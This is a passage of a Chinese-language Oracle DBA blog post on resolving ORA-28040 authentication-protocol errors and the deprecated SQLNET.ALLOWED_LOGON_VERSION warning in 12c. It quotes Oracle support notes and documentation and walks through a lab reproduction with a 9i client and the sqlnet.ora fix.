Quantcast
Channel: 容器云计算,Devops,DBA,网络安全。
Viewing all 780 articles
Browse latest View live

使用plsql 连接报错: ORA-28040: No matching authentication protocol

$
0
0

oracle11g 客户端程序使用plsql 连接报错: ORA-28040: No matching authentication protocol

1.1  BLOG文档结构图

wpsA5A2.tmp[4] 

1.2  前言部分

1.2.1  导读和注意事项

各位技术爱好者,看完本文后,你可以掌握如下的技能,也可以学到一些其它你所不知道的知识,~O(∩_∩)O~:

① 告警日志中频繁出现Using deprecated SQLNET.ALLOWED_LOGON_VERSION parameter、ORA-28040: No matching authentication protocol错误,9i的客户端连接到12c高版本的解决方案

② Windows下使用oerr命令

Tips:

① 本文在itpub(http://blog.itpub.net/26736162)、博客园(http://www.cnblogs.com/lhrbest)和微信公众号(xiaomaimiaolhr)上有同步更新。

② 文章中用到的所有代码、相关软件、相关资料及本文的pdf版本都请前往小麦苗的云盘下载,小麦苗的云盘地址见:http://blog.itpub.net/26736162/viewspace-1624453/

③ 若网页文章代码格式有错乱,请下载pdf格式的文档来阅读。

④ 在本篇BLOG中,代码输出部分一般放在一行一列的表格中。

本文如有错误或不完善的地方请大家多多指正,ITPUB留言或QQ皆可,您的批评指正是我写作的最大动力。

1.3  故障分析及解决过程

1.3.1  故障环境介绍

 

项目

source db

db 类型

RAC

db version

12.1.0.2.0

db 存储

ASM

OS版本及kernel版本

SuSE Linux Enterprise Server(SLES 11) 64位

 

1.3.2  故障发生现象及报错信息

告警日志中频繁出现Using deprecated SQLNET.ALLOWED_LOGON_VERSION parameter。

或JDBC连接Oracle12c报如下错误:

Caused by: java.sql.SQLException: ORA-28040: No matching authentication protocol

        at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:112)

        at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:331)

        at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:283)

        at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:278)

        at oracle.jdbc.driver.T4CTTIoauthenticate.receiveOsesskey(T4CTTIoauthenticate.java:294)

        at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:357)

        at oracle.jdbc.driver.PhysicalConnection.(PhysicalConnection.java:441)

        at oracle.jdbc.driver.T4CConnection.(T4CConnection.java:165)

        at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:35)

        at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:801)

        at java.sql.DriverManager.getConnection(DriverManager.java:582)

        at java.sql.DriverManager.getConnection(DriverManager.java:154)

 

 

或者使用9i的客户端去连接12c的数据库就会报ORA-28040: No matching authentication protocol这个错误。

1.3.3  故障分析及解决过程

使用oerr命令来查看,在Oracle 11g下:

[oracle@orcltest ~]$ oerr ora 28040

28040, 0000, "No matching authentication protocol"

// *Cause:  No acceptible authentication protocol for both client and server

// *Action: Administrator should set SQLNET_ALLOWED_LOGON_VERSION parameter

//          on both client and servers to values that matches the minimum

//          version supported in the system.

[oracle@orcltest ~]$

 

12c下:

oracle@HQsPSL-PSCV-R02:/oracle/app/oracle> oerr ora 28040

28040, 0000, "No matching authentication protocol"

// *Cause:  There was no acceptable authentication protocol for

//          either client or server.

// *Action: The administrator should set the values of the

//          SQLNET.ALLOWED_LOGON_VERSION_SERVER and

//          SQLNET.ALLOWED_LOGON_VERSION_CLIENT parameters, on both the

//          client and on the server, to values that match the minimum

//          version software supported in the system.

//          This error is also raised when the client is authenticating to

//          a user account which was created without a verifier suitable for

//          the client software version. In this situation, that account's

//          password must be reset, in order for the required verifier to

 

可以看到,该参数在11g和12c下的解决方案是不同的。

查询了一下参数SQLNET.ALLOWED_LOGON_VERSION,发现该参数在12c中以废弃,而是采用SQLNET.ALLOWED_LOGON_VERSION_CLIENT和SQLNET.ALLOWED_LOGON_VERSION_SERVER代替。

客户说是之前碰到了ORA-28040: No matching authentication protocol的错误才加上该参数的。

解决:在Oracle用户(不是grid用户)下,将$ORACLE_HOME/network/admin/sqlnet.ora文件原来的SQLNET.ALLOWED_LOGON_VERSION=8注释掉(如果没有sqlnet.ora文件,那么就创建一个),修改为如下的行:

SQLNET.ALLOWED_LOGON_VERSION_SERVER=8

SQLNET.ALLOWED_LOGON_VERSION_CLIENT=8

不用重启数据库或者监听,也不用重启应用。

区别如下:

SQLNET.ALLOWED_LOGON_VERSION_SERVER:控制可以连接到12c数据库的客户端版本(client --->orace 12c db )

SQLNET.ALLOWED_LOGON_VERSION_CLIENT:控制12c数据库可以连到哪些版本的数据库(orace 12c db  --->其它版本的oracle db),例如:控制通过DB LINK可连接到哪些版本的oracle库。

所以,该案例中主要起作用的是需要配置SQLNET.ALLOWED_LOGON_VERSION_SERVER。

特别需要注意:

(1)如果是RAC,因为RAC是使用grid的监听器,因此很多人以为是在“/u02/app/12.1.0/grid/network/admin/sqlnet.ora” 加“SQLNET.ALLOWED_LOGON_VERSION_SERVER=8”,其实这是错的,而是仍然在$ORACLE_HOME/network/admin/sqlnet.ora加“SQLNET.ALLOWED_LOGON_VERSION_SERVER=8”

(2)上面所说的版本,是指dba_users.password_versions的版本。

 

在Oracle 12c中,虽然在sqlnet.ora加SQLNET.ALLOWED_LOGON_VERSION=8可以解决问题,但由于这个参数在12c已经废弃了,而是用SQLNET.ALLOWED_LOGON_VERSION_CLIENT和SQLNET.ALLOWED_LOGON_VERSION_SERVER代替。如果继续使用该参数,会在告警日志中无穷无尽的报“Using deprecated SQLNET.ALLOWED_LOGON_VERSION parameter.”,如下所示:

wpsA5B2.tmp[4] 

 

另外,对于JDBC的报错也可以下载支持oracle12c的jdbc驱动jar包。链接:http://www.oracle.com/technetwork/database/features/jdbc/jdbc-drivers-12c-download-1958347.html

注:本地jdk版本为1.6,则下载ojdbc6.jar;jdk版本为1.7,则下载ojdbc7.jar

如下图所示:

wpsA5B3.tmp[4] 

也可以在在ORACLE安装目录lib库目录下载ojdbc7.jar包,然后把这个ojdbc7.jar加载到开发环境中。

[oracle@orcltest dbhome_1]$ ll $ORACLE_HOME/jdbc/lib/ojdbc*

-rw-r--r-- 1 oracle oinstall 3447295 Aug 23  2011 /u02/app/oracle/product/11.2.0/dbhome_1/jdbc/lib/ojdbc5dms_g.jar

-rw-r--r-- 1 oracle oinstall 2617019 Aug 23  2011 /u02/app/oracle/product/11.2.0/dbhome_1/jdbc/lib/ojdbc5dms.jar

-rw-r--r-- 1 oracle oinstall 3425922 Aug 23  2011 /u02/app/oracle/product/11.2.0/dbhome_1/jdbc/lib/ojdbc5_g.jar

-rw-r--r-- 1 oracle oinstall 2095661 Aug 23  2011 /u02/app/oracle/product/11.2.0/dbhome_1/jdbc/lib/ojdbc5.jar

-rw-r--r-- 1 oracle oinstall 4486070 Aug 23  2011 /u02/app/oracle/product/11.2.0/dbhome_1/jdbc/lib/ojdbc6dms_g.jar

-rw-r--r-- 1 oracle oinstall 3327656 Aug 23  2011 /u02/app/oracle/product/11.2.0/dbhome_1/jdbc/lib/ojdbc6dms.jar

-rw-r--r-- 1 oracle oinstall 4462913 Aug 23  2011 /u02/app/oracle/product/11.2.0/dbhome_1/jdbc/lib/ojdbc6_g.jar

-rw-r--r-- 1 oracle oinstall 2714016 Aug 23  2011 /u02/app/oracle/product/11.2.0/dbhome_1/jdbc/lib/ojdbc6.jar

[oracle@orcltest dbhome_1]$

 

 

1.3.4  官方文档及MOS的解释

有关该问题,MOS上有很多文档可以供参考。

http://docs.oracle.com/database/121/UPGRD/deprecated.htm#UPGRD60010

wpsA5B4.tmp[4]wpsA5B5.tmp[4]




12c Database Alert.log File Shows The Message: Using Deprecated SQLNET.ALLOWED_LOGON_VERSION Parameter (文档 ID 2111876.1)

In this Document

  Symptoms
  Changes
  Cause
  Solution
  References


APPLIES TO:

Oracle Configuration Controls Governor - Version 5.5.1 and later
Information in this document applies to any platform.

SYMPTOMS

On 12c database, the alert.log file shows the following message:

"Using deprecated SQLNET.ALLOWED_LOGON_VERSION parameter".

CHANGES

 Customer upgraded to 12c database and added the following parameter in sqlnet.ora file based on the latest CCG Install Guide (CCG_Install_Guide_20150824_E25675_04.pdf).

 SQLNET.ALLOWED_LOGON_VERSION

 =================

SAMPLE sqlnet.ora FILE:

$ cat sqlnet.ora
# SQLNET.ORA Network Configuration File

" "

#TRACE_LEVEL_SERVER=user
SQLNET.ALLOWED_LOGON_VERSION=8

------------------------------------------

CAUSE

 
The Database is reporting these messages because the "SQLNET.ALLOWED_LOGON_VERSION" parameter is no longer valid (with 12c).
However, this is  "required" by CCG application: CCG_Install_Guide_20150824_E25675_04.pdf

The SQLNET.ALLOWED_LOGON_VERSION parameter is deprecated in Oracle Database 12c.
This parameter has been replaced with two new Oracle Net Services parameters:

SQLNET.ALLOWED_LOGON_VERSION_SERVER
SQLNET.ALLOWED_LOGON_VERSION_CLIENT

SOLUTION

 In order to suppress these messages in the alert log of the database, you need to use the new parameters for the 12c database.

 STEPS:

 1. Edit the sqlnet.ora file of the 12c database. (This needs be done on each database on 12c). So for example if both your EBS and CCG databases are on 12c, you need to do this on each sqlnet.ora file. Typically, the sqlnet.ora file that would be referenced by the database is located in RDBMS_HOME/network/admin

 2. Remove or comment the following entry.

    SQLNET.ALLOWED_LOGON_VERSION

 3.You need to follow the instructions below:

 3a. Add the following two new Oracle Net Services parameters:

    SQLNET.ALLOWED_LOGON_VERSION_SERVER = n
    SQLNET.ALLOWED_LOGON_VERSION_CLIENT = n

    Specify the value for 'n' based on your own environment. The default setting for the new parameters is 11. Any client that attempts to connect must be at version 11 or higher unless these   parameters are explicitly set in the server side sqlnet.ora file.       

   3b. For example: Set these parameters at the lowest version level that is required in your environment.
        The example shpow below shows the following: All clients at version 10 or higher would require this setting:

       SQLNET.ALLOWED_LOGON_VERSION_SERVER=10
       SQLNET.ALLOWED_LOGON_VERSION_CLIENT=10

    3c. Note that SQLNET.ALLOWED_LOGON_VERSION_CLIENT would be necessary on the server when the database is 'acting' as a client. Such as the case of a database link as in the case of CCG applications.

    3d. Even though the parameter value implies Oracle version 10 the internal check is really against the authentication protocol 'SHA-1'

    3e. For CCG, you can just set the parameter value to 10, since SHA-2 is currently not certified with CCG.

    3e. See the following reference for more information about these settings.
         https://docs.oracle.com/database/121/NETRF/sqlnet.htm#NETRF2010

4. For setting up the values for step 3, you can also refer to the additional info section at the end of the note.

4. Bounce the database.

5. Bounce the application server.

=================

ADDITIONAL INFO:

SQLNET.ALLOWED_LOGON_VERSION_CLIENT

Purpose

To set the minimum authentication protocol allowed for clients, and when a server is acting as a client, such as connecting over a database link, when connecting to Oracle Database instances.

Usage Notes

The term VERSION in the parameter name refers to the version of the authentication protocol, not the Oracle Database release.

If the version does not meet or exceed the value defined by this parameter, then authentication fails with an ORA-28040: No matching authentication protocol error.

See Also:
Oracle Database Security Guide

Values

12a for Oracle Database 12c Release 1 (12.1) release 12.1.0.2 or later

12 for the critical patch updates CPUOct2012 and later Oracle Database 11g authentication protocols (recommended)

11 for Oracle Database 11g authentication protocols (default)

10 for Oracle Database 10g authentication protocols

8 for Oracle8i authentication protocol

Default

11

Example

If an Oracle Database 12c database hosts a database link to an Oracle Database 10g database, then the SQLNET.ALLOWED_LOGON_VERSION_CLIENT parameter should be set as follows in order for the database link connection to proceed:

SQLNET.ALLOWED_LOGON_VERSION_CLIENT=10

SQLNET.ALLOWED_LOGON_VERSION_SERVER

Purpose

To set the minimum authentication protocol allowed when connecting to Oracle Database instances.

Usage Notes

The term VERSION in the parameter name refers to the version of the authentication protocol, not the Oracle Database release.

If the client version does not meet or exceed the value defined by this parameter, then authentication fails with an ORA-28040: No matching authentication protocol error or an ORA-03134: Connections to this server version are no longer supported error.

See Also:
Oracle Database Security Guide

A setting of 8 permits most password versions, and allows any combination of the DBA_USERS.PASSWORD_VERSIONS values 10G, 11G, and 12C.

A SQLNET.ALLOWED_LOGON_VERSION_SERVER setting of 12a permits only the 12C password version.

A greater value means the server is less compatible in terms of the protocol that clients must understand in order to authenticate. The server is also more restrictive in terms of the password version that must exist to authenticate any specific account. The ability for a client to authenticate depends on the DBA_USERS.PASSWORD_VERSIONS value on the server for that account.

Note the following implications of setting the value to 12 or 12a:

The setting SEC_CASE_SENSITIVE_LOGON=FALSE must not be used because case insensitivity requires the use of the 10G password version. If it is set as FALSE, then user accounts and secure roles become unusable because Exclusive Mode excludes the use of the 10G password version. The SEC_CASE_SENSITIVE_LOGON initialization parameter enables or disables case sensitivity for passwords.

Note:
The use of the Oracle instance initialization parameter SEC_CASE_SENSITIVE_LOGON is deprecated in favor of setting the SQLNET.ALLOWED_LOGON_VERSION_SERVER parameter to 12 or 12a to ensure that passwords are treated in a case-sensitive fashion.

To take advantage of the password protections introduced in Oracle Database 11g, users must change their passwords. The new passwords are case sensitive. When an account password is changed, the earlier 10G case-insensitive password version is automatically removed.

Releases of OCI clients earlier than Oracle Database 10g and all versions of JDBC thin clients cannot authenticate to the Oracle database using password-based authentication.

If the client uses Oracle9i Database, then the client will receive an ORA-03134 error message. To allow the connection, set the SQLNET.ALLOWED_LOGON_VERSION_SERVER value to 8. Ensure the DBA_USERS.PASSWORD_VERSIONS value for the account contains the value 10G. It may be necessary to reset the password for that account.

Note the following implication of setting the value to 12a:

When an account password is changed, the earlier 10G case-insensitive password version and the 11G password version are both automatically removed.

The client must support certain abilities of an authentication protocol before the server will authenticate. If the client does not support a specified authentication ability, then the server rejects the connection with an ORA-28040: No matching authentication protocol error message.

The following is the list of all client abilities. Some clients do not have all abilities. Clients that are more recent have all the capabilities of the older clients, but older clients tend to have less abilities than more recent clients.

O7L_MR: The ability to perform the Oracle Database 10g authentication protocol using the 12C password version.

O5L_NP: The ability to perform the Oracle Database 10g authentication protocol using the 11G password version, and generating a session key encrypted for critical patch update CPUOct2012.

O5L: The ability to perform the Oracle Database 10g authentication protocol using the 10G password version.

O4L: The ability to perform the Oracle9i database authentication protocol using the 10G password version.

O3L: The ability to perform the Oracle8i database authentication protocol using the 10G password version.

A higher ability is more recent and secure than a lower ability. Clients that are more recent have all the capabilities of the older clients.

The following table describes the allowed values, password versions, and descriptions:
Value of the ALLOWED_LOGON_VERSION_SERVER Parameter Generated Password Version Ability Required of the Client Meaning for Clients
12aFoot 1 12C O7L_MR Only Oracle Database 12c release 12.1.0.2 or later clients can connect to the server.
12Foot 2 11G, 12C O5L_NP Only clients which have applied critical patch update CPUOct2012 or later, or release 11.2.0.3 clients with an equivalent update can connect to the server.
11 10G, 11G, 12C O5L Clients using Oracle Database 10g and later can connect to the server.

Clients using releases earlier than Oracle Database release 11.2.0.3 that have not applied critical patch update CPUOct2012 or later patches must use the 10G password version.
10 10G, 11G, 12C O5L Clients using Oracle Database 10g and later can connect to the server.

Clients using releases earlier than Oracle Database release 11.2.0.3 that have not applied critical patch update CPUOct2012 or later patches must use the 10G password version.
9 10G, 11G, 12C O4L Oracle9i Database or later clients can connect to the server.
8 10G, 11G, 12C O3L Oracle8i Database and later clients can connect to the server.

Footnote 1 This is considered "Exclusive Mode" because it excludes the use of both 10G and 11G password versions.

Footnote 2 This is considered "Exclusive Mode" because it excludes the use of the 10G password version.

Values

12a for Oracle Database 12c release 12.1.0.2 or later authentication protocols (strongest protection)

12 for the critical patch updates CPUOct2012 and later Oracle Database 11g authentication protocols (recommended)

11 for Oracle Database 11g authentication protocols (default)

10 for Oracle Database 10g authentication protocols

9 for Oracle9i Database authentication protocol

8 for Oracle8i Database authentication protocol

Default

11

Example

SQLNET.ALLOWED_LOGON_VERSION_SERVER=11

=======================

 

IMPORTANT NOTES: 
1) The sqlnet.ora file that is referenced by the database is located in RDBMS_HOME/network/admin. This is by default. It will not read the sqlnet.ora file in GRID_HOME/network/admin unless TNS_ADMIN is explicitly set to point there.

2) While the version 12 documentation shows settings for this parameter as low as 8, this does not override the rules of Interoperability or Certification. See the following: Note 207303.1 Client / Server Interoperability Support Matrix for Different Oracle Versions.
In other words, setting the SQLNET.ALLOWED_LOGON_VERSION_SERVER parameter to 8, 9 or 10 does not mean that version of client is going to be fully supported by Oracle Support.

 

REFERENCES

NOTE:1304142.1 - 11g and Older: How To Use the Parameter SQLNET.ALLOWED_LOGON_VERSION Correctly



BUG:11845659 - SQLNET.ALLOWED_LOGON_VERSION NEEDS CLEARER DOCUMENTATION
NOTE:402193.1 - How to Allow Login to Database Based on the Client Version






Error "ORA-28040: No matching authentication protocol" When Using SQLNET.ALLOWED_LOGON_VERSION (文档 ID 755605.1)


In this Document

  Symptoms
  Changes
  Cause
  Solution
  References


APPLIES TO:

JDBC - Version 10.1.0 to 12.1.0.2.0
Information in this document applies to any platform.

SYMPTOMS

When using the property "SQLNET.ALLOWED_LOGON_VERSION=10" set in the file sqlnet.ora on the server side, a 10g JDBC thin driver connecting to this 10g oracle database, fails with following errors:

The Network Adapter could not establish the connection 
.... 
ORA-28040: No matching authentication protocol





.

CHANGES

Configuring SQLNET.ORA on the server side.

CAUSE

BUG 6051243 - ORA-28040: WHEN LISTENER USES SQLNET.ALLOWED_LOGON_VERSION

A 10.2 thin jdbc driver is identifying itself as 8.1.5 client and hence the connection is failing with error ORA-28040: No matching authentication protocol

SOLUTION

To resolve the above issue you may implement any one of the following :- 

- Change the entry in sqlnet.ora file on the server machine: 
from: 
SQLNET.ALLOWED_LOGON_VERSION=10 

to: 
SQLNET.ALLOWED_LOGON_VERSION=8 

OR 

- Use the OCI driver instead of the THIN driver. The OCI driver identifies itself correctly as a 10.2 client and thus the connection succeeds. 

OR 

- If you are using 10.2.0.4 or 10.2.0.5 version of the driver then, you may download Patch:6779501 from My Oracle Support. 

OR 

- If you are using 10.1.0.5.0 version of the driver then, you may download Patch:6505927 from My Oracle Support.

Note: This is applicable when connecting to 10g or 11g databases. JDBC 10.1 drivers are not certified with 12c databases.


OR 

- Use JDBC 11g THIN driver or later.

 

Note:
If using Oracle Database 12c, please see:

Home / Database / Oracle Database Online Documentation 12c Release 1 (12.1) / Installing and Upgrading
Database Upgrade Guide
8 Deprecated and Desupported Features for Oracle Database 12c
8.3.5 Deprecation of SQLNET.ALLOWED_LOGON_VERSION Parameter
If you are upgrading a system that did not have a SQLNET.ALLOWED_LOGON_VERSION parameter setting (that is, it was using the default 8), then you might need to set the value of the SQLNET.ALLOWED_LOGON_VERSION_SERVER to 8 in the upgraded Oracle Database 12c server to maintain compatibility with clients on earlier releases. Otherwise, if no setting for SQLNET.ALLOWED_LOGON_VERSION_SERVER (or the deprecated SQLNET.ALLOWED_LOGON_VERSION) parameter is made in the upgraded Oracle Database 12c server, then the new default value becomes 11 in the new Oracle Database 12c.

 

REFERENCES

BUG:6051243 - ORA-28040: WHEN LISTENER USES SQLNET.ALLOWED_LOGON_VERSION




8.3.5 Deprecation of SQLNET.ALLOWED_LOGON_VERSION Parameter

The SQLNET.ALLOWED_LOGON_VERSION parameter is deprecated in Oracle Database 12c. This parameter has been replaced with two new Oracle Net Services parameters:

8.3.5.1 Upgrading a System that Did Not Have SQLNET.ALLOWED_LOGON_VERSION Parameter Setting

If you are upgrading a system that did not have a SQLNET.ALLOWED_LOGON_VERSION parameter setting (that is, it was using the default 8), then you might need to set the value of theSQLNET.ALLOWED_LOGON_VERSION_SERVER to 8 in the upgraded Oracle Database 12c server to maintain compatibility with clients on earlier releases. Otherwise, if no setting forSQLNET.ALLOWED_LOGON_VERSION_SERVER (or the deprecated SQLNET.ALLOWED_LOGON_VERSION) parameter is made in the upgraded Oracle Database 12c server, then the new default value becomes 11 in the new Oracle Database 12c.

The effect of the new default value of 11 for SQLNET.ALLOWED_LOGON_VERSION_SERVER in Oracle Database 12c is that clients using Oracle Database release 10g and later can connect to the Oracle Database 12c server. Clients using releases earlier than Oracle Database release 11.2.0.3 that have not applied critical patch update CPUOct2012 or later patches must use the 10g password version.

Using a setting of 12 is most secure. However, this setting only permits Oracle Database 12c clients to connect.

See Also:

Oracle Database Readme for the topic "Protection Against Password-Guessing Attacks" and Oracle Database Net Services Reference for information aboutSQLNET.ALLOWED_LOGON_VERSION_SERVER

SQLNET.ALLOWED_LOGON_VERSION_CLIENT

Purpose

To set the minimum authentication protocol allowed for clients, and when a server is acting as a client, such as connecting over a database link, when connecting to Oracle Database instances.

Usage Notes

The term VERSION in the parameter name refers to the version of the authentication protocol, not the Oracle Database release.

If the version does not meet or exceed the value defined by this parameter, then authentication fails with an ORA-28040: No matching authentication protocol error.

Values

  • 12a for Oracle Database 12c Release 1 (12.1) release 12.1.0.2 or later

  • 12 for the critical patch updates CPUOct2012 and later Oracle Database 11g authentication protocols (recommended)

  • 11 for Oracle Database 11g authentication protocols (default)

  • 10 for Oracle Database 10g authentication protocols

  • 8 for Oracle8i authentication protocol

Default

11

Example

If an Oracle Database 12c database hosts a database link to an Oracle Database 10g database, then the SQLNET.ALLOWED_LOGON_VERSION_CLIENT parameter should be set as follows in order for the database link connection to proceed:

SQLNET.ALLOWED_LOGON_VERSION_CLIENT=10

SQLNET.ALLOWED_LOGON_VERSION_SERVER

Purpose

To set the minimum authentication protocol allowed when connecting to Oracle Database instances.

Usage Notes

The term VERSION in the parameter name refers to the version of the authentication protocol, not the Oracle Database release.

If the client version does not meet or exceed the value defined by this parameter, then authentication fails with an ORA-28040: No matching authentication protocol error or an ORA-03134: Connections to this server version are no longer supported error.

A setting of 8 permits most password versions, and allows any combination of the DBA_USERS.PASSWORD_VERSIONS values 10G, 11G, and 12C.

A SQLNET.ALLOWED_LOGON_VERSION_SERVER setting of 12a permits only the 12C password version.

A greater value means the server is less compatible in terms of the protocol that clients must understand in order to authenticate. The server is also more restrictive in terms of the password version that must exist to authenticate any specific account. The ability for a client to authenticate depends on the DBA_USERS.PASSWORD_VERSIONS value on the server for that account.

Note the following implications of setting the value to 12 or 12a:

  • The setting SEC_CASE_SENSITIVE_LOGON=FALSE must not be used because case insensitivity requires the use of the 10G password version. If it is set as FALSE, then user accounts and secure roles become unusable because Exclusive Mode excludes the use of the 10G password version. The SEC_CASE_SENSITIVE_LOGON initialization parameter enables or disables case sensitivity for passwords.

    Note:

    The use of the Oracle instance initialization parameter SEC_CASE_SENSITIVE_LOGON is deprecated in favor of setting theSQLNET.ALLOWED_LOGON_VERSION_SERVER parameter to12 or 12a to ensure that passwords are treated in a case-sensitive fashion.
  • To take advantage of the password protections introduced in Oracle Database 11g, users must change their passwords. The new passwords are case sensitive. When an account password is changed, the earlier 10G case-insensitive password version is automatically removed.

  • Releases of OCI clients earlier than Oracle Database 10g and all versions of JDBC thin clients cannot authenticate to the Oracle database using password-based authentication.

  • If the client uses Oracle9i Database, then the client will receive an ORA-03134 error message. To allow the connection, set the SQLNET.ALLOWED_LOGON_VERSION_SERVERvalue to8. Ensure the DBA_USERS.PASSWORD_VERSIONS value for the account contains the value 10G. It may be necessary to reset the password for that account.

Note the following implication of setting the value to 12a:

  • When an account password is changed, the earlier 10G case-insensitive password version and the 11G password version are both automatically removed.

The client must support certain abilities of an authentication protocol before the server will authenticate. If the client does not support a specified authentication ability, then the server rejects the connection with an ORA-28040: No matching authentication protocol error message.

The following is the list of all client abilities. Some clients do not have all abilities. Clients that are more recent have all the capabilities of the older clients, but older clients tend to have less abilities than more recent clients.

  • O7L_MR: The ability to perform the Oracle Database 10g authentication protocol using the 12C password version.

  • O5L_NP: The ability to perform the Oracle Database 10g authentication protocol using the 11G password version, and generating a session key encrypted for critical patch update CPUOct2012.

  • O5L: The ability to perform the Oracle Database 10g authentication protocol using the 10G password version.

  • O4L: The ability to perform the Oracle9i database authentication protocol using the 10G password version.

  • O3L: The ability to perform the Oracle8i database authentication protocol using the 10G password version.

A higher ability is more recent and secure than a lower ability. Clients that are more recent have all the capabilities of the older clients.

The following table describes the allowed values, password versions, and descriptions:

Value of the ALLOWED_LOGON_VERSION_SERVER Parameter Generated Password Version Ability Required of the Client Meaning for Clients
12aFoot 112CO7L_MROnly Oracle Database 12c release 12.1.0.2 or later clients can connect to the server.
12Foot 211G, 12CO5L_NPOnly clients which have applied critical patch update CPUOct2012 or later, or release 11.2.0.3 clients with an equivalent update can connect to the server.
1110G, 11G, 12CO5LClients using Oracle Database 10g and later can connect to the server.

Clients using releases earlier than Oracle Database release 11.2.0.3 that have not applied critical patch update CPUOct2012 or later patches must use the 10G password version.

1010G, 11G, 12CO5LClients using Oracle Database 10g and later can connect to the server.

Clients using releases earlier than Oracle Database release 11.2.0.3 that have not applied critical patch update CPUOct2012 or later patches must use the 10G password version.

910G, 11G, 12CO4LOracle9i Database or later clients can connect to the server.
810G, 11G, 12CO3LOracle8i Database and later clients can connect to the server.

Footnote 1 This is considered "Exclusive Mode" because it excludes the use of both 10G and 11G password versions.

Footnote 2 This is considered "Exclusive Mode" because it excludes the use of the 10G password version.

Values

  • 12a for Oracle Database 12c release 12.1.0.2 or later authentication protocols (strongest protection)

  • 12 for the critical patch updates CPUOct2012 and later Oracle Database 11g authentication protocols (recommended)

  • 11 for Oracle Database 11g authentication protocols (default)

  • 10 for Oracle Database 10g authentication protocols

  • 9 for Oracle9i Database authentication protocol

  • 8 for Oracle8i Database authentication protocol

Default

11

Example

SQLNET.ALLOWED_LOGON_VERSION_SERVER=11



1.3.4.1  12c中弃用和不支持的特性

https://docs.oracle.com/database/121/UPGRD/deprecated.htm#BABEDDGA

 

wpsA5B6.tmp[4]

 

1.4  ORA-28040故障模拟

小麦苗有7、8、9、10、11、12c的数据库,所以顺便模拟一下这个错误。

服务端为12c的数据库,客户端为9i,我们在客户端尝试连接12c的数据库:

Microsoft Windows [版本 10.0.10240]

(c) 2015 Microsoft Corporation. All rights reserved.

 

D:\Users\xiaomaimiao>set ORACLE_HOME=D:\Program_files\u01\app\oracle\product\ora92

 

D:\Users\xiaomaimiao>set ora

ORACLE10G=D:\Program files\app\oracle\product\10.2.0\db_1

ORACLE11G=D:\Program_files\u01\app\oracle\product\11.2.0.1\dbhome_1

ORACLE8I=D:\Program files\app\oracle\product\ora8i

ORACLE_HOME=D:\Program_files\u01\app\oracle\product\ora92

 

D:\Users\xiaomaimiao>cd %ORACLE_HOME%/bin

 

D:\Program_files\u01\app\oracle\product\ora92\bin>sqlplus -v

 

SQL*Plus: Release 9.2.0.1.0 - Production

 

 

D:\Program_files\u01\app\oracle\product\ora92\bin>tnsping ora12c

 

TNS Ping Utility for 32-bit Windows: Version 9.2.0.1.0 - Production on 19-DEC-2016 17:44:59

 

Copyright (c) 1997 Oracle Corporation.  All rights reserved.

 

Used parameter files:

D:\Program_files\u01\app\oracle\product\ora92\network\admin\sqlnet.ora

 

 

Used TNSNAMES adapter to resolve the alias

Attempting to contact (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.59.128)(PORT = 1521))) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = lhrdb12c)))

OK (10 msec)

 

D:\Program_files\u01\app\oracle\product\ora92\bin>sqlplus lhr/lhr@ora12c

 

SQL*Plus: Release 9.2.0.1.0 - Production on Mon Dec 19 17:45:07 2016

 

Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.

 

ERROR:

ORA-28040: No matching authentication protocol

 

 

Enter user-name:

 

 

可以看到报ORA-28040: No matching authentication protocol的错误。

我们在服务端的$ORACLE_HOME/network/admin/sqlnet.ora添加如下的行:

SQLNET.ALLOWED_LOGON_VERSION_SERVER=8

SQLNET.ALLOWED_LOGON_VERSION_CLIENT=8

重新尝试连接:

D:\Program_files\u01\app\oracle\product\ora92\bin>sqlplus lhr/lhr@ora12c

 

SQL*Plus: Release 9.2.0.1.0 - Production on Mon Dec 19 17:51:54 2016

 

Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.

 

 

Connected to:

Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production

With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options

 

SQL>

 

可以看到已经正常连接了。

如果将服务端的$ORACLE_HOME/network/admin/sqlnet.ora中的SQLNET.ALLOWED_LOGON_VERSION_SERVER=8和SQLNET.ALLOWED_LOGON_VERSION_CLIENT=8注释掉,而换成SQLNET.ALLOWED_LOGON_VERSION=8,如下:

SQLNET.ALLOWED_LOGON_VERSION=8

# SQLNET.ALLOWED_LOGON_VERSION_SERVER=8

# SQLNET.ALLOWED_LOGON_VERSION_CLIENT=8

 

尝试连接数据库:

D:\Program_files\u01\app\oracle\product\ora92\bin>sqlplus lhr/lhr@ora12c

 

SQL*Plus: Release 9.2.0.1.0 - Production on Mon Dec 19 17:56:29 2016

 

Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.

 

 

Connected to:

Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production

With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options

 

SQL>

 

可以正常连接,但是查看告警日志的时候有如下的输出:Using deprecated SQLNET.ALLOWED_LOGON_VERSION parameter. 而且,每连接一次数据库就输出一行该数据,和我们之前分析的问题是一致的。

1.5  Windows下使用oerr命令

由于客户的环境是12c Linux的,而自己没有12c的Linux环境,安装较为麻烦,索性就安装了一个Windows版本的。结果执行oerr ora 的时候报错了:

C:\Users\xiaomaimiao>oerr ora 10041

oerr: Cannot access the message file E:\app\oracle\product\12.1.0\dbhome_1\rdbms\mesg\oraus.msg

No such file or directory

 

C:\Users\xiaomaimiao>oerr ora 01555

oerr: Cannot access the message file E:\app\oracle\product\12.1.0\dbhome_1\rdbms\mesg\oraus.msg

No such file or directory

 

 

经查看报错的文件(E:\app\oracle\product\12.1.0\dbhome_1\rdbms\mesg\oraus.msg)的确没有,而且任何*.msg文件都不存在,那就从12c的Linux下把相关的$ORACLE_HOME/rdbms/mesg/*.msg文件都拷贝到Windows的环境下:

[oracle@orcltest mesg]$ pwd

/u02/app/oracle/product/11.2.0/dbhome_1/rdbms/mesg

